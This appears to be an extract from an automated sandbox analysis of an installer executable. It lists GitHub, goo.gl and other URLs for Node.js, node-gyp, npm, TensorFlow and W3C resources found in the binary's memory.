Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mmod/nk-xrm-installer/blob/master/includable.gypi)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mmod/nk-xrm-installer/blob/master/unpack.py)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mmod/nodamysql/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ncb000gt/node.bcrypt.js)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ncb000gt/node.bcrypt.js/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nickdesaulniers/node-nanomsg/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/node4good/windows-autoconf
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/admin/blob/HEAD/CODE_OF_CONDUCT.md)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/admin/blob/HEAD/CODE_OF_CONDUCT.md).
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/admin/blob/HEAD/Moderation-Policy.md)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/admin/blob/master/CODE_OF_CONDUCT.md)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/gyp-next
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/gyp-next/archive/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/gyp-next/releases)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node-addon-api
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node-addon-api#collaborators)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node-addon-api/issues
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node-gyp#installation
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node-gyp#installation)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node-gyp#on-macos
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node-gyp#on-windows
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node-gyp/issues/1779
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node-gyp/issues/1861
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node-gyp/issues/1927
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node-gyp/labels/ERR%21%20node-gyp%20-v%20%3C%3D%20v5.1.0)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node-gyp/raw/master/macOS_Catalina_acid_test.sh
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node-gyp/releases).
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/blob/c8a04049/lib/internal/errors.js
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/2119
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/35452
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/39758
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/44985
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/49472
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/51486
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/52219
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/12342
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/1771#issuecomment-119351671
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/27791
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/34103#issuecomment-652002364
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/35407#issuecomment-700693439
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/49891#issuecomment-1744673430.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/normalize/mz
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/npm/cacache
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/npm/make-fetch-happen
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/npm/minipass-fetch.git
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/npm/move-file
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/npm/node-semver.git
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/npm/nopt.git
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/npm/ssri
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ohler/ert
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/oransel/node-talib/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/osmcode/node-osmium/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/polotek/libxmljs/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/protocolbuffers/protobuf-javascript
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/protocolbuffers/protobuf/blob/master/java/lite.md
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/puppeteer/puppeteer/tree/main/packages/puppeteer-core
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/radioline/node_airtunes/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/rbranson/node-ffi/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/rbranson/node-ffi/blob/master/deps/libffi/libffi.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/request/request/blob/b12a6245/lib/redirect.js#L134-L138
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/requests/toolbelt
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/rvagg/node-leveldown/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/rvagg/node-leveldown/blob/master/deps/leveldb/leveldb.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/rvagg/node-leveldown/blob/master/deps/snappy/snappy.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sass/node-sass/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sass/node-sass/blob/master/src/libsass.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/simplejson/simplejson
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sinonjs/fake-timers/blob/a4c757f80840829e45e0852ea1b17d87a998388e/src/fake-timers
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/substack/node-mkdirp.git
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tc39/ecma262/blob/HEAD/LICENSE.md
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tc39/ecma262/issues/1209
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tc39/proposal-iterator-helpers/issues/169
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tc39/proposal-weakrefs
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/models
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/tensorflow
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/text.git
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/tflite-support
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/test262-utils/test262-harness-py
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/voodootikigod/node-serialport/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/ServiceWorker/issues/1356.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/ServiceWorker/issues/1356.Property
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4805
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4805Custom
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/gamepad/pull/120
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/gamepad/pull/120Access
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/webappsec-permissions-policy/blob/master/features.md#sensor-features
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/webappsec-permissions-policy/blob/master/features.md#sensor-featuresDeviceOri
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/wasdk/wasmparser
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/xiph/rnnoise
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/xudafeng/nodecv/blob/master/binding.gyp)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zeux/volk
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zorkow/speech-rule-user
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/4NeimX
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/4NeimXAccess
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/4NeimXOrigin
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/4NeimXgetDescriptor(s)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/4NeimXreadValue()
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/4NeimXwriteValue()
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/EuHzyv
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/HxfxSQ
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/HxfxSQOrigin
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/HxfxSQrequestDevice()
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/J6ASzs
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/J6ASzsBluetooth
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/LdLk22
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/LdLk22Media
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/LdLk22RemoveElementFromDocumentMapit
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/rStTGz
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/t5IS6M).
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gle/chrome-insecure-origins
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://google.com/pay
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gyp.gsrc.io)
